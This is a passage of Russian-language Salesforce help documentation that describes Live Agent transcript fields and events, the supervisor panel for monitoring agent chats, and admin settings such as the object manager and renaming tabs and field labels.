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Поля транскрипта Live Agent

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

Поля транскрипта Live Agent позволяют отслеживать сведения о чатах агентов с
клиентами.

Ниже перечислены поля, доступные в записи транскрипта Live Agent. В зависимости от
используемого макета страницы и параметров безопасности полей, некоторые поля
могут быть скрыты или недоступны для редактирования.

ОпределениеПоле

Время нахождения входящего запроса на
чат без ответа агента, прошедшее перед
отключениемклиентаотчата (в секундах).

Прервано после

Имя организации, связанной с
транскриптом.

Имя организации

Среднее время, потраченное агентом на
отправкуответанасообщениепосетителя
чата.

Среднее время ответа агента

Максимальноевремя, потраченноеагентом
на отправку ответа на сообщение
посетителя чата.

Максимальное время ответа агента

Количество сообщений, отправленных
агентом во время чата.

Количество сообщений агента

Навык, связанный с кнопкой Live Chat,
используемой для начала чата.

Навык агента

Записанный чат между агентом и
посетителем.

Текст

Типиверсияобозревателя, используемого
посетителем.

Обозреватель

Выбор языка, используемого
обозревателем посетителя.

Язык обозревателя

Обращение, связанное с чатом.Обращение

Кнопка, нажимаемая посетителем для
начала чата.

Кнопка чата

Общая продолжительность чата (в
секундах).

Продолжительность чата

Имя контакта, участвовавшего в чате.

Обратите вниманиена наличиеразличий
между посетителями и контактами.

Имя контакта

Дополнительную информацию см. в
определении «Посетитель Live Chat».
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ОпределениеПоле

Пользователь, создавший транскрипт, а также дата и время
создания (только для чтения).

Создано

Дата и время создания транскрипта (только для чтения).Дата создания

Время завершения чата.Время окончания

Посетитель или агент, завершивший чат.Завершил

Пользователь, который последним изменил транскрипт, а
также дата и время изменения (только для чтения).

Последнее изменение сделано

Дата и время последнего изменения транскрипта (только
для чтения).

Дата последнего изменения

Имя интереса, созданного в результате чата или
обсуждавшегося в процессе чата.

Интерес

Развертывание, использованное посетителем для начала
чата.

Развертывание

Уникальный цифровой код, назначаемый транскрипту
автоматически.

Формат и нумерация, используемые в данном поле, могут
быть изменены администратором.

Транскрипт Live Chat

Номератранскриптовприсваиваютсявпорядкеувеличения,
но иногда некоторые номера могут выпадать из
последовательности.

Уникальный цифровой код, назначаемый посетителю
автоматически.

Формат и нумерация, используемые в данном поле, могут
быть изменены администратором.

Посетитель Live Chat

Номерапосетителейприсваиваютсявпорядке увеличения,
но иногда некоторые номера могут выпадать из
последовательности.

Обратите внимание на различие между посетителями и
контактами: посетитель может быть контактом
(необязательно); между контактами и посетителями
отсутствует связь.

Географическое местоположение посетителя. Укажите
город и штат или город и страну (если посетитель
находится за пределами США).

Расположение

Имя ответственного за транскрипт. По умолчанию
ответственным является пользователь, который создал

Ответственный

транскрипт (например, агент, ответивший на полученный
запрос).
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ОпределениеПоле

Транскрипт может быть назначен очереди или другому
ответственному. Транскриптымогутбытьназначенытолько
тем пользователям, у которых есть полномочие «Чтение»
для транскриптов Live Chat.

Операционная система пользователя.Платформа

Сайт, на котором находились посетители до перехода на
веб-сайт компании.

Например, если для поиска корпоративного веб-сайта
использовался Google, то в поле будет отображаться
значение «Google».

Ссылающийся сайт

Время начала чата посетителем.Время запроса

Разрешение экрана, используемое посетителем.Разрешение экрана

Время ответа агента на полученный запрос.Время начала

«Завершено» или «Пропущено». Статус «Пропущено»
указывает на то, что ответ на полученный запрос не был
отправлен.

Статус

Строка, определяющая тип обозревателя и операционной
системы, используемой посетителем.

Агент пользователя

Среднее время, потраченное посетителем на отправку
ответа на комментарий агента.

Среднее время ответа посетителя

Максимальное время, потраченное клиентом на отправку
ответа на сообщение агента.

Максимальное время ответа посетителя

IP-адрескомпьютера, используемогопосетителемвовремя
чата.

IP-адрес посетителя

Количество сообщений, отправленных посетителем во
время чата.

Количество сообщений посетителя

Общее время ожидания, прошедшее перед принятием
запроса на чат агентом.

Время ожидания
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События транскрипта Live Agent

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

События транскрипта Live Chat позволяют автоматически отслеживать события,
происходящие между агентами и клиентами во время чатов.

При необходимости измените транскрипты Live Chat для отслеживания событий,
происходящихмеждуагентамииклиентамивовремячатов. Нижеперечисленысобытия,
которые могут быть добавлены в транскрипты Live Chat.

ОписаниеСобытие

Запрос на чат отправлен посетителем.Запрос на чат
отправлен

Запрос на чат добавлен в очередь.В очереди

Запрос на чат направлен агенту.Направлено
(активная доставка)

Запрос на чат направлен всем соответствующим доступным
агентам.

Направлено (выбор)

Запрос на чат принят агентом.Принято

Агенту не удалось ответить на сообщение клиента перед
достижениемкритическоговремениожиданияпредупреждения.

Достигнуто
критическое время
ожидания
предупреждения

Агент ответил на сообщение клиента после достижения
критического времени ожидания предупреждения.

Очищено
критическое время
ожидания
предупреждения

Запрос на перенос чата отправлен агентом.Запрос на перенос
отправлен

Перенос чата принят агентом.Перенос принят

Запрос на перенос чата отменен агентом, отправившим запрос.Запрос на перенос
отменен

Запрос на перенос чата отклонен агентом, принявшим запрос.Запрос на перенос
отклонен

Чат был перенесен на кнопкуПеренесено на
кнопку

Перенос чата на кнопку был выполнен с ошибкамиНе удалось
выполнить перенос
на кнопку

Агент отправил запрос на запуск конференцииЗапрошена
конференция чата
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ОписаниеСобытие

Конференция чата была отмененаКонференциячатаотменена

Запрос на конференцию был отклонен агентомКонференциячатаотклонена

К конференции присоединился агентАгент присоединился к
конференции

Агент покинул конференциюАгент покинул
конференцию

Был запрошен перенос файловЗапрошен перенос файлов

Перенос файлов был отменен агентомПеренос файлов был
отменен агентом

Перенос файлов был отменен посетителемПеренос файлов был
отменен посетителем

Перенос файлов прошел успешно.Перенос файлов успешно
завершен

Не удалось выполнить перенос файловПеренос файлов выполнить
не удалось

Попытка открыть чат была заблокирована правилом блокировки IP-адресаОтменено (заблокировано)

Агент заблокировал активный чат (создание правила блокировки IP-адреса)Заблокировано агентом

Запрос на чат отклонен агентом.Отклонено (вручную)

Срок действия запроса на чат истек при назначении агенту.Отклонено (истекло время
ожидания)

Запрос на чат отклонен ввиду недоступности соответствующих агентов.Отменено (нет агента)

Запрос на чат отклонен ввиду переполнения очереди.Отменено (нет очереди)

Посетитель нажал кнопку «Завершить чат».Отменено посетителем

Чат завершен агентом.Агент вышел

Чат завершен посетителем.Посетитель вышел

Кнопка «Завершить чат» нажата агентом.Завершено агентом

Кнопка «Завершить чат» нажата посетителем.Завершено посетителем

Произошло другое событие.Другое
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Live Agent для администраторов службы поддержки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для общения с
посетителями вприложении
Live Agent на консоли
Salesforce:
• Приложение Live Agent,

включенное,
настроенное и
добавленное в
приложение консоли
Salesforce

Вас приветствует приложение Live Agent для администраторов службы поддержки! Live
Agent — это универсальное решение, позволяющее агентам быстро обрабатывать
проблемы клиентов посредством чата. Инструменты администратора Live Agent
позволяют быстро отслеживать действия агентов, помогать агентам в чатах и
просматривать данные о сеансах чата агентов.

Администратор службы поддержки контролирует действия своих сотрудников для
повышения эффективности обслуживания клиентов. Live Agent — это решение,
полностьюинтегрированноев системуSalesforceипредоставляющеецентрализованный
доступ к сведениям об агентах и их действиях в чатах.

Независимо от продолжительности использования приложения Live Agent, доступные
инструменты позволяют упростить поддержку и отслеживание агентов по мере
обслуживания клиентов. Итак, начнем.

СМ. ТАКЖЕ:

Live Agent для администраторов службы поддержки

Live Agent для администраторов

Полномочия для администраторов службы поддержки Live Agent
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Панель администратора Live Agent

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

Панель администратора Live Agent — это универсальная область, предназначенная для
поиска информации о кнопках и агентах чатов соответствующего отдела. Панель
администраторапозволяетотслеживать действия агентов вчатахпомереобслуживания
клиентовипросматриватьпотокклиентовдляотдельныхкнопокчатаврежимереального
времени. Панель администраторарасполагаетсяна консоли Salesforce, поэтомудоступна
без переключения приложения.

Доступ к панели администратора
Консоль Salesforce предоставляет удобный доступ к панели администратора,
предназначенной для отслеживания действий агентов в чатах.

Список «Статус агента»
Список «Статус агента» на панели администратора предоставляет доступ к
оперативной информации о действиях агентов в чатах.

Список «Статус очереди»

Список «Статус очереди» на панели администратора предоставляет доступ к
оперативной информации о кнопках и очередях чатов организации.

Отслеживание чатов агентов
Панель администратора позволяет просматривать чаты во время общения агентов с клиентами. Администраторы
могут отслеживать производительность агентов и передавать им оперативные отзывы в процессе обслуживания
клиентов.
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Доступ к панели администратора

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования панели
администратора Live Agent
на консоли Salesforce:
• Доступ ко вкладке

администратора Live
Agent в профиле
пользователя или
наборе полномочий,
добавленный в
приложение консоли
Salesforce.

Консоль Salesforce предоставляет удобный доступ к панели администратора,
предназначенной для отслеживания действий агентов в чатах.

1. Чтобы открыть панель администратора на консоли Salesforce, выберите
«Администратор Live Agent» в списке навигации консоли.
Панельадминистратораотображаетсявосновномокнеконсоли, предоставляядоступ
к актуальным данным о кнопках чата и агентах организации.
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Список «Статус агента»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

Список «Статус агента» напанели администраторапредоставляет доступ коперативной
информации о действиях агентов в чатах.

ОписаниеСведения об
агенте

Имя агента.Имя агента

Прим.: Еслирядомсименемотображается красныйфлажок,
агент запросил помощи. Ответьте через модуль сведений о
чате (далеко справа).

Состояние агента Live Agent.Статус

Действия, доступные для изменения состояния агента.Действие

Количество чатов, участником которых является агент.Количество
выполняемых
чатов

Количество отложенных запросов на чат, назначенных агенту.Количество
назначенных
запросов

Время нахождения агента в приложении Live Agent.Затраченное
время после
входа

Время, прошедшеепослепоследнегопринятия агентомзапросана
чат.

Затраченное
время после
последнего
принятия

Личное сообщение, отправленное агентом с флажком помощи.Сообщение
администратору
(необязательно)

Чтобы просмотреть сведения о соответствующих клиентах, разверните имя каждого агента.

ОписаниеСведения о клиенте

Имя клиента (при его наличии).Имя посетителя

IP-адрес устройства клиента.IP-адрес

Сеть клиента (при ее наличии).Сеть

Тип обозревателя, используемого клиентом для подключения к окну чата.Обозреватель

Город проживания клиента.Город

Страна проживания клиента.Страна
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ОписаниеСведения о клиенте

Время участия клиента в чате с агентом.Продолжительность

Действия, доступные для просмотра чата клиента с агентом.Действие

СМ. ТАКЖЕ:

Статусы Live Agent

Список «Статус очереди»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

Список «Статусочереди» напанелиадминистраторапредоставляетдоступкоперативной
информации о кнопках и очередях чатов организации.

ОписаниеСведения об
очереди

Имя кнопки чата.Имя кнопки

Уникальный код Salesforce, назначаемый кнопке чата.Код

Количество чатов, ожидающих назначения агенту.Длина очереди

Наибольшее время ожидания подключения клиента к агенту чата.Наибольшее
времяожидания
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Отслеживание чатов агентов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования панели
администратора Live Agent
на консоли Salesforce:
• Доступ ко вкладке

администратора Live
Agent в профиле
пользователя или
наборе полномочий,
добавленный в
приложение консоли
Salesforce.

Для просмотра чатов
агентов:
• «Предварительный

просмотр агентов
включен» в
конфигурации Live
Agent

Для отправки приватных
сообщений агентам:
• «Приватные сообщения

включены» в
конфигурации Live
Agent

Панель администратора позволяет просматривать чаты во время общения агентов с
клиентами. Администраторымогутотслеживатьпроизводительностьагентовипередавать
им оперативные отзывы в процессе обслуживания клиентов.

1. Чтобыразвернуть сведенияонужномагенте, щелкнитепо значку в списке «Статус
агента». Если агент запросил помощь, вы увидите красныйфлажок рядом с именем
и личное сообщение (далеко справа), если агент его отправил.

2. Чтобы просмотреть чат, щелкните ссылку «Просмотр» напротив нужного чата в
столбце «Действие».

Данное действие открывает окно мониторинга чата в списке «Статус агента».

3. Чтобыотправитьличноесообщениеагентувовремяегообщениясклиентом, введите
сообщение в соответствующее поле и нажмите клавишу Enter.

Агентможет видеть вашесообщениевжурналечата, ноклиентсообщениене увидит.

Чтобы свернуть окно мониторинга чата, повторнощелкните по значку .

Чтобыубратьфлажок, когдавыужеоказалипомощь, нажмитекнопку«Убратьфлажок».

СМ. ТАКЖЕ:

Список «Статус агента»
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Назначение навыков агентам

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации с выпусками
Performance Edition и
Developer Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления навыков:
• «Назначить навыки Live

Agent пользователям»

Вы можете назначать навыки своим агентам по мере того, как растет профессионализм
вашей команды.

1. Введите строку «Навыки» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Навыки».

2. Щелкните по имени нужного пользователя.

3. Нажмите кнопку «Правка».

4. Выберителибопрофили (рекомендуется), либоотдельныхпользователей, у которых
есть этот навык.

5. Нажмите кнопку «Сохранить».

Если у вас нет доступа к странице «Навыки», обратитесь к своему администратору
Salesforce напредметпредоставления этогоразрешения. Создаватьнавыкиможет только
ваш администратор.
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Составление отчетов по сеансам Live Agent

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Отчеты по сеансам чата Live Agent позволяют получить более подробные сведения о
действиях агентов в чатах.

Конструктор отчетов позволят создавать тип настраиваемых отчетов для сеансов чата
Live Agentииспользовать егодля составленияотчетовпосеансамагентов. Данныеотчеты
посеансам Live Agentпозволяютполучитьболееподробныесведенияодействияхагентов
в чатах (например, способность рабочей группы агентов обрабатывать все запросы на
чат, поступающие от клиентов).

1. Чтобы создать тип настраиваемых отчетов, выберите объект «Сеансы Live Agent» в
качестве основного.

2. Чтобы создать отчет Live Agent, воспользуйтесь конструктором отчетов.

3. Чтобы настроить отчет, добавьте столбцы нужных данных.

4. Сохраните или запустите отчет.

СМ. ТАКЖЕ:

Создание отчета

Создание отчета

Записи сеансов Live Agent
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Расширение Salesforce посредством интерактивных
инструментов

Добро пожаловать, администраторы интерактивной системы
Salesforce!

Готовы оценить расширенные возможности администрирования системы Salesforce? Хотите настроить организацию,
раздвинуть ее границы и раскрыть ее функциональность? Теперь все это и многое другое может быть выполнено без
создания специального кода. Вооружитесь мышкой и жаждой приключений. Время перемен пришло!

Данная документация охватывает большое количество функций, предназначенных для расширения организаций.
Расширениеобъектов, данныхиполей, настройкавнешнеговидаорганизации, увеличениеколичествабизнес-процессов,
создание веб-сайтов и даже приложений — все это посредством интерактивных инструментов.

Поиск по параметрам управления объектами

Система Salesforceпозволяетиндивидуализироватьмодельобъектапосредствомтакихфункций, какнастраиваемыеполя,
макеты страниц и правила проверки. Область расположения данных настроек в меню «Настройка» определяется
включенным интерфейсом системы Salesforce.

Поиск по параметрам управления объектами в Lightning Experience

Система Salesforceпозволяетнастраиватьмодельобъектапосредствомтакихфункций, какнастраиваемыеполя, макеты
страниц и правила проверки. Большинство объектов доступно посредством раздела «Менеджер объектов» меню
«Настройка».

Поиск по параметрам управления объектами в Salesforce Classic

Система Salesforce позволяет индивидуализировать модель объекта посредством таких функций, как настраиваемые
поля, макетыстранициправилапроверки. Областьрасположенияданныхнастроек вменю «Настройка» определяется
нужным типом объекта.

Поиск по параметрам управления объектами в Lightning Experience

ВЕРСИИ

Доступно в: Lightning
Experience.

Доступно в версиях: все
версии.

Система Salesforce позволяет настраивать модель объекта посредством таких функций,
как настраиваемые поля, макеты страниц и правила проверки. Большинство объектов
доступно посредством раздела «Менеджер объектов» меню «Настройка».

Стандартные объекты и настраиваемые объекты
Стандартный объект (например, организация или контакт) поддерживается
организациейSalesforceпоумолчанию.Настраиваемыйобъект — этообъект, созданный
текущим пользователем или другим администратором.

Введите строку «Менеджер объектов» в поле «Быстрый поиск» меню «Настройка» и
выберитепункт«Менеджеробъектов». Выберитеобъектизспискаипрокрутитестраницудоразделадляспециальной
настройки.
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Например, чтобы добавить настраиваемое поле в объект «Организация», введите строку «Менеджер объектов» в поле
«Быстрый поиск» ивыберитепункт«Менеджеробъектов». Затемщелкните«Организация»ипрокрутитестраницу
до раздела «Поля и взаимосвязи».

Другие стандартные объекты
Раздел «Менеджеробъектов» содержитне все стандартныеобъекты. Чтобыполучить доступ к параметрамнастройки
для одного из таких объектов, введите имя нужного объекта в поле «Быстрый поиск» меню «Настройка» и выберите
соответствующий параметр настройки.

Введитеимянужногообъекта вполе «Быстрый поиск» меню «Настройка» ивыберите соответствующуюнастройку.

Например, чтобыдобавить триггервобъект «Группы», введите строку «Группа» вполе «Быстрый поиск» ивыберите
пункт «Триггеры группы».

Внешние объекты
Внешнийобъектпохожнанастраиваемыеобъекты, носоотносится с данными, хранящимисявнеорганизации Salesforce.

Введите строку «Внешние объекты» в поле «Быстрый поиск» меню «Настройка» и выберите пункт «Внешние
объекты». Затем выберите внешний объект из списка. Затем прокрутите страницу до раздела для специальной
настройки.

Например, чтобы добавить настраиваемое поле во внешний объект «Заказы», введите строку «Внешние объекты» в
поле «Быстрый поиск» и выберите пункт «Внешние объекты». Щелкните «Заказы» и прокрутите страницу до
раздела «Настраиваемые поля и взаимосвязи».

СМ. ТАКЖЕ:

Интерактивная настройка: Функции, недоступные в Lightning Experience

Поиск по параметрам управления объектами в Salesforce Classic

ВЕРСИИ

Доступно в: Salesforce
Classic.

Доступно в версиях: все
версии.

Система Salesforce позволяет индивидуализировать модель объекта посредством таких
функций, как настраиваемые поля, макеты страниц и правила проверки. Область
расположения данных настроек в меню «Настройка» определяется нужным типом
объекта.

Стандартные объекты
Стандартный объект (например, организация или контакт) поддерживается
организацией Salesforce по умолчанию.

Введите имя нужного объекта в поле «Быстрый поиск» меню «Настройка» и
выберите специальную настройку.

Например, чтобыдобавитьнастраиваемоеполе вобъект «Обращение», введите строку «Обращение» вполе «Быстрый
поиск» и выберите пункт «Поля» в подразделе «Обращения».

Настраиваемые объекты
Настраиваемый объект — это объект, созданный текущим пользователем или другим администратором.

Введитестроку «Объекты» вполе «Быстрый поиск» меню «Настройка» ивыберитепункт«Объекты». Затемвыберите
настраиваемый объект из списка. Затем прокрутите страницу до раздела для специальной настройки.

Например, чтобы добавить настраиваемое поле в объект «Заявки о приеме на работу», введите строку «Объекты» в
поле «Быстрый поиск» и выберите пункт «Объекты». Щелкните «Заявки о приеме на работу» и прокрутите
страницу до раздела «Настраиваемые поля и взаимосвязи».
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Внешние объекты
Внешнийобъектпохожнанастраиваемыеобъекты, носоотносится с данными, хранящимисявнеорганизации Salesforce.

Введите строку «Внешние объекты» в поле «Быстрый поиск» меню «Настройка» и выберите пункт «Внешние
объекты». Затем выберите внешний объект из списка. Затем прокрутите страницу до раздела для специальной
настройки.

Например, чтобы добавить настраиваемое поле во внешний объект «Заказы», введите строку «Внешние объекты» в
поле «Быстрый поиск» и выберите пункт «Внешние объекты». Щелкните «Заказы» и прокрутите страницу до
раздела «Настраиваемые поля и взаимосвязи».

Настройка организации

Меню быстрого доступа Force.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра меню
быстрого доступа
Force.com:
• «Настройка

приложения»

Менюбыстрогодоступа Force.com содержитссылкидлябыстрогодоступакнастройкам.

Данное меню позволяет быстро переходить к нужным настройкам при работе с
приложениями или объектами. Меню отображается на страницах сведений о записи и
в списковых представлениях объектов.

Прим.: Списковые представления организаций, контактов и настраиваемых
объектов, в которыхвключенафункцияпланированияспомощьюперетаскивания,
не содержат меню быстрого доступа Force.com.

• Чтобыразвернутьилисвернутьменю, щелкните иливоспользуйтеськомбинацией
клавиш «ALT + ;».

• Чтобы прокрутить список меню, нажмите клавишу TAB.

• Чтобы выбрать пункт меню, нажмите клавишу ENTER.

• Чтобы удалить меню со всех страниц записи и из всех списковых представлений,
щелкните «Отключить меню».

Чтобы восстановить меню быстрого доступа, выполните указанные ниже действия.

1. На странице личных параметров введите строку «Дополнительные сведения о
пользователе» вполе «Быстрый поиск», затемвыберите«Дополнительныесведения
о пользователе». Нет результатов? Введите строку «Личные сведения» в поле
«Быстрый поиск» и выберите пункт «Личные сведения».

2. Нажмите кнопку «Правка».

3. Установите флажок «Меню быстрого доступа Force.com».

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Индивидуальная настройка системы Salesforce
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Изменение внешнего вида Salesforce

Переименование меток объектов, вкладок и полей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для переименования
вкладки или поля:
• «Настройка

приложения»

ИЛИ

«Просмотр настройки и
конфигурации»

И

Назначение в качестве
переводчика

Для восстановления
переименованных вкладок:
• «Настройка

приложения»

ИЛИ

«Просмотр настройки и
конфигурации»

И

Назначение в качестве
переводчика
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ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Организации-лица
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Система Salesforce позволяетизменятьименамногихобъектов, полейивкладок. Данный
алгоритмпозволяетпользователямприменятьпривычнуютерминологиюдлябыстрой
адаптации к системе Salesforce. Темне менее, помните, что справка Salesforce и основные
страницыменю «Настройка» всегдаотображаютисходныеименастандартныхобъектов,
полей и вкладок.

Например, переименуйте объект «Организации» (и связанную вкладку «Организации»)
в объект «Компании», а поле «Имя организации» в поле «Имя компании». При
переименовании объекта, вкладки или поля новое имя отображается на всех доступных
пользователю страницах, а также используется приложениями Salesforce for Outlook и
Connect Offline.

Прежде чем переименовывать вкладки, объекты, поля и другие связанные метки,
просмотрите советы по внедрению, предназначенные для администраторов.

1. В разделе настройки введите строку «Переименование вкладок и меток» в поле «Быстрый поиск» и выберите пункт
<b>«Переименование вкладок и меток»</b>.

2. Выберите стандартный язык в раскрывающемся списке «Выбрать язык» вверху страницы.

Прим.: Настоятельно рекомендуем избегать переименования вкладок на еврейском языке, так как система не
поддерживает изменение глаголов по роду.

3. Щелкнитессылку «Правка»напротивнужнойвкладки. Чтобывосстановитьисходноеимявкладки, щелкнитессылку
«Сбросить».

Прим.: Система не позволяет сбрасывать имена вкладок настраиваемых объектов.

4. Введите новое имя вкладки в единственном и множественном числе. При необходимости установите флажок
«Начинается с гласного звука» дляметок, начинающихсяс гласногозвука. Данныйпараметрпозволяетиспользовать
правильныйартикль (например, «a» или «an») иподдерживаетсятольконекоторымиязыками. Нажмитекнопку«Далее».

Переименованная вкладка или объект не может использовать имя другой стандартной вкладки, настраиваемого
объекта, внешнего объекта или настраиваемой вкладки.

5. Введите метки для стандартных полей и прочих элементов пользовательского интерфейса. Убедитесь, что каждая
соответствующаяметка указанав единственномимножественномчисле. Установитефлажок «Начинается с гласного
звука» для меток, начинающихся с гласного звука.

6. Нажмите кнопку «Сохранить».

Чтобы перевести метки на все остальные языки организации, повторите указанные выше действия.

Совет: После переименования вкладки или объекта система позволяет переименовывать любые настраиваемые
отчеты, панели мониторинга, профили, наборы полномочий, настраиваемые поля и списковые представления,
содержащие исходное имя. Чтобы изменить метки, воспользуйтесь средством перевода. Чтобы переименовать
стандартный отчет, нажмите кнопку «Сохранить как» и сохраните его в специальную папку отчетов.

Ниже перечислены дополнительные параметры настройки вкладок.

• Отдельные пользователи могут выбирать вкладки и связанные списки, отображающиеся при входе.

• Взависимостиотиспользуемойверсиисистемы Salesforce, пользователимогутрасширитьнаборстандартныхвкладок
путем создания настраиваемых вкладок. Дополнительную информацию см. в разделе «Определение настраиваемых
вкладок» на странице 4397.

• Версии Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition поддерживают возможность
переопределенияначальнойстраницывкладки, отображающейсяпривыборе вкладки стандартного, настраиваемого
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или внешнего объекта. Дополнительную информацию см. в разделе «Переопределение стандартных кнопок и
начальных страниц вкладок» на странице 5396.

Переименование меток организаций-лиц
Ниже перечислены стандартные поля, которые могут быть переименованы при использовании организаций-лиц.

ОписаниеВкладкаПоле

Организация, которая не является организацией-лицом,
потому что не содержит типа записи, характерного для

ОрганизацииОрганизация-компания

организаций-лиц. В первую очередь данная метка
позволяет определить тип импортируемых организаций.

Организация-лицо. Дополнительную информацию см.
ниже.

ОрганизацииОрганизация-лицо

Контакт, связанный с организацией-компанией. Впервую
очередь данная метка позволяет определить тип
импортируемых организаций.

КонтактыДеловой контакт

Переименованная метка поля «Организация-лицо» отображается в системе Salesforce следующим образом.

• В качестве префикса, чтобы отличать поля организации-лица (например, «Дата рождения» и «Дом. тел.») от
полей организации-компании. Например, поле «Организация-лицо: дата рождения» доступно в качестве столбца
для организаций в отчетах по возможностям.

• В имени поля и значка «Является организацией-лицом». Например, если для переименования поля
«Организация-лицо» используется значение «Потребитель», то полю и значку «Является организацией-лицом»
присваивается значение «Является потребителем».

Прим.: Меткиполей «Организация-лицо» и «Организация-компания» не зависятот текущихиментипов записей.

• Чтобы настроить типы записей организация-лицо, с помощью параметров управления объектами для
организаций-лиц перейдите к пункту «Типы записей».

• Чтобы настроить типы записей организация-компания, с помощью параметров управления объектами для
организаций перейдите к пункту «Типы записей».

СМ. ТАКЖЕ:

Рекомендации по переименованию меток вкладок и полей

Переименование вкладки Chatter

Поиск по параметрам управления объектами
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Рекомендации по переименованию меток вкладок и полей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для переименования меток
вкладок и полей:
• «Настройка

приложения»

Для восстановления
переименованных вкладок:
• «Настройка

приложения»

Перед переименованием стандартных и настраиваемых вкладок и полей выясните, как
эти изменения повлияют на пользователей.

• Некоторыестандартныевкладкииобъектынемогутбытьпереименованы. Например,
вкладка «Прогнозы» недоступна для переименования. В разделе настройки введите
строку «Переименование вкладок и меток» вполе «Быстрый поиск» ивыберитепункт
<b>«Переименованиевкладокиметок»</b>, чтобыпросмотреть списоквкладок
и объектов, которые можно переименовать.

• Переименованные метки отображаются на всех страницах пользователей системы
Salesforce, включая раздел «Личные параметры». Тем не менее, все страницы меню
«Настройка» используют стандартные исходные метки.

• Некоторые стандартные поля (например, «Создано» и «Последнее изменение
сделано») преднамеренно исключаются из процесса переименования, так как
отслеживают сведения о системе.

• После переименования вкладок, объектов или полей проверьте дополнительные
элементы ниже и при необходимости обновите их вручную.

– Просмотрите имена всех списковых представлений. Имена списковых
представленийсохраняютисходноеимяобъекта, поэтомудолжныбытьизменены
вручную.

– Проверьте имена и описания стандартных отчетов для переименованных
объектов.

– Обновите заголовкииописанияшаблоновэл. почты, содержащиеисходноеимя
объекта или поля.

– Измените вручную любые другие элементы, настроенные посредством нового
имениобъектаилиполя. Например, настраиваемыеполя, макетыстраницитипызаписеймогутсодержатьисходное
имя вкладки или поля.

• Новые имена будут использоваться в приложениях Connect Offline, Salesforce App for Outlook и Salesforce for Outlook.

• Припереименованиивкладок, объектовилиполейможнозаменитьсправкуSalesforceдругим URL-адресом. Пользователи
могутпросматриватьданный URL-адреспривыборелюбойссылкинаконтекстно-зависимуюсправку, отображающейся
на странице конечного пользователя или в личных параметрах. После замены справка Salesforce будет доступна по
ссылке «Справкаиобучение», расположеннойвверхулюбойстраницы, а такженавсех страницахменю «Настройка».
Дополнительную информацию о замене интерактивной справки см. в разделе «Замена интерактивной справки
Salesforce» на странице 4411.

• Настоятельно рекомендуем избегать переименования вкладок на еврейском языке, так как система не поддерживает
изменение глаголов по роду.

СМ. ТАКЖЕ:

Переименование меток объектов, вкладок и полей
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Настройка страниц

Макеты страниц и безопасность поля

ВЕРСИИ

